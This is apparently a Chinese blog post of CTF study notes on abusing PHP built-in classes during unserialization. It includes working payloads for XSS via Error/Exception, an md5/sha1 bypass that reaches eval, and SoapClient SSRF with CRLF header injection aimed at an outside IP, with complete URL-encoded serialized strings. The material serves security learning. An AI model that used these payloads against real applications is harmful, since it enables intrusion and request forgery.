ysoseri.us

技术内容 / 本科的一些学习笔记和wp / php反序列化原生类的利用

php反序列化原生类的利用

概述

在反序列化题目中存在可控参数却找不到可利用的类时,考虑使用php中的一些原生类,通过构造可控参数,触发并利用其内置魔术方法,实现各种漏洞功能

典型特点:没有类,但有可控参数和echo

原生类中的魔术方法

可以通过以下脚本遍历一下所有原生类中的魔术方法

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "\r\n";
        }
    }
}

当然有些类不一定能够进行反序列化,php中使用了zend_class_unserialize_deny来禁止一些类的反序列化,比如序列化DirectoryIterator的时候,结果如下测试代码

error_reporting(0);
class Test{
  public $test = 111;
}
$test1 = new Test();
$test2 = new DirectoryIterator('/');
echo serialize($test1);
echo serialize($test2);

可以看到页面只回显了test1对应的序列化字符串

图片 1

注释掉error_reporting(0)之后,就能看到详细的报错

图片 2

当然这也和PHP版本也有一些关系,寻找的几个类中,在php5.3以前都是没有如此的限制

php各版本遍历结果对比

php5(5.4.5)

图片 3

php7(7.3.4)

图片 4

php8(8.0.2)

图片 5

发现可遍历的类中的方法只有__Tostring,__destruct,__wakeup,__set_state

只需要注意一些常用的内置类即可

Error
Exception
SoapClient
DirectoryIterator
FilesystemIterator
SplFileObject
SimpleXMLElement

原生类利用

在CTF中常见的内置类方法利用有XSS、SSRF、反序列化、XXE,其中

图片 6

3、SoapClient————SSRF
4、DirectoryIterator
5、SimpleXMLElement

XSS

Error/Exception

Error 是所有PHP内部错误类的基类。 (PHP 7, 8)

**Error::__toString ** error 的字符串表达

返回 Error 的 string表达形式。

Exception是所有用户级异常的基类。 (PHP 5, 7, 8)

**Exception::__toString ** 将异常对象转换为字符串

返回转换为字符串(string)类型的异常。

__toString方法会返回错误或异常的字符串形式,其中包含我们输入的参数,如果我们构造一串xss代码,结合echo渲染,将触发反射型xss漏洞

<?php
$a = unserialize($_GET['a']);
echo $a;

payload由如下代码得到

<?php
$a = new Error("<script>alert('hacked_by_oasis')</script>");
$b = serialize($a);
echo urlencode($b);

O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A41%3A%22%3Cscript%3Ealert%28%27hacked_by_oasis%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A35%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Cnativeclass.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A23%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

成功触发XSS漏洞

图片 7

应用

hash绕过

绕过hash强比较,可以通过原生类进行绕过

原理:当md5()和sha1()函数处理对象时,会自动调用__tostring方法

先放 payload代码

<?php
$a=new Error("payload",1);$b=new Error("payload",2);
$c=new Exception("payload",3);$d=new Exception("payload",4);
echo $a."<br>";
echo $b."<br>";
echo $c."<br>";
echo $d;

弹框关闭后回显结果如下

图片 8

可以看到报错内容中除了line参数外其他内容完全一致,所以可以利用这点绕过hash比较

<?php
$a = new Error("payload",1);$b = new Error("payload",2);
if ($a!=$b){
    echo '$a不等于$b'."\n";
}
if (md5($a)===md5($b)){
    echo "md5值相等\n";
}
if (sha1($a)===sha1($b)){
    echo "sha1值相等";
}

图片 9

[2020 极客大挑战]Greatphp
<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) =<mark> md5($this->lover)) && (sha1($this->syc)</mark>= sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }
}
if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

//payload如下

$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";//两次取反绕过正则
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>

SSRF

由于SoapClient原生类中包含__call方法,并且我们知道:当调用一个对象中不存在的方法时候,会执行call()魔术方法。因此在CTF中通常会出现一种存在调用不存在的方法并且需要我们伪造请求头的题目。

SoapClient

SoapClient是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端,可以创建soap数据报文,与wsdl接口进行交互

soap扩展模块默认关闭,使用时需手动开启

SoapClient::__call —调用 SOAP 函数 (PHP 5, 7, 8)

通常,SOAP 函数可以作为SoapClient对象的方法调用

soap是什么?

soap是webServer的三要素之一(SOAP、WSDL、UDDI),WSDL用来描述如何访问具体的接口,UUDI用来管理、分发、查询webServer,SOAP是连接web服务和客户端的接口,SOAP 是一种用在分散或分布的环境中交换信息的简单的基于 XML 的协议,可使应用程序通过 HTTP 来交换信息。

其采用HTTP作为底层通讯协议,XML作为数据传送的格式。

所以它的使用条件为:
1.需要有soap扩展,且需要手动开启该扩展。
2.需要调用一个不存在的方法触发其__call()函数。
3.仅限于http/https协议

类结构

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,如果为`null`,那就是非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

本地测试时发现,当使用此内置类(即soap协议)请求存在服务的端口时,会立即报错,而去访问不存在服务(未占用)的端口时,会等待一段时间报错,可以以此进行内网资产的探测。

如果配合CRLF漏洞,还可以可通过 SoapClient 来控制其他参数或者post发送数据。

例如:HTTP协议去攻击Redis

Y4爷讲CLRF:https://y4tacker.blog.csdn.net/article/details/110521104

HTTP报文的结构:状态行和首部中的每行以CRLF结束,首部与主体之间由一空行分隔。

CRLF注入漏洞,是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF(\r\n),就能注入一些首部字段或报文主体,并在响应中输出。

通过结合CRLF,我们利用SoapClient+CRLF便可以干更多的事情,例如插入自定义Cookie

<?php

$a = new SoapClient(null, array(

'location' => 'http://47.102.146.95:2333',

'uri' =>'uri',

'user_agent'=>"111111\r\nCookie: PHPSESSION=dasdasd564d6as4d6a"));

$b = serialize($a);

echo $b;

$c = unserialize($b);

$c->a();

图片 10

发送POST的数据包,这里需要将Content-Type设置为application/x-www-form-urlencoded,我们可以通过添加两个\r\n来将原来的Content-Type挤下去,自定义一个新的Content-Type

<?php

$a = new SoapClient(null, array(

'location' => 'http://47.102.146.95:2333',

'uri' =>'uri',

'user_agent'=>"111111\r\nContent-Type: application/x-www-form-urlencoded\r\nX-Forwarded-For: 127.0.0.1\r\nCookie: PHPSESSID=3stu05dr969ogmprk28drnju93\r\nContent-Length: 10\r\n\r\npostdata"));

$b = serialize($a);

echo $b;

$c = unserialize($b);

$c->a();

图片 11

例题( ctfshow )

<?php

highlight_file(__FILE__);

$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff); //获取xff头(x-forward-for)

if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}

因此我们只需要把XFF头改为127.0.0.1并以post方式传入token即可

给出payload

🐻:(注意flag.php当中x-f-f头加了以后X-Forwarded-For: 127.0.0.1,49.235.148.38, 172.69.35.19pop方法弹出两个始终是49开头那个,所以我们把url改为127.0.0.1配合绕过)

poc如下

<?php
$target = 'http://127.0.0.1/nativeclass.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));//^^起换行作用
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);

这里需要去php对应版本的配置文件中手动打开soap拓展并重启php

图片 12

payload

O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22ssrf%22%3Bs%3A8%3A%22location%22%3Bs%3A32%3A%22http%3A%2F%2F127.0.0.1%2Fnativeclass.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22wupco%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

目录遍历

使用__toString方法结合glob或file协议,即可实现目录遍历

DirectoryIterator/FilesystemIterator

DirectoryIterator类提供了一个简单的接口来查看文件系统目录的内容。

DirectoryIterator::__toString 获取字符串形式的文件名 (PHP 5,7,8)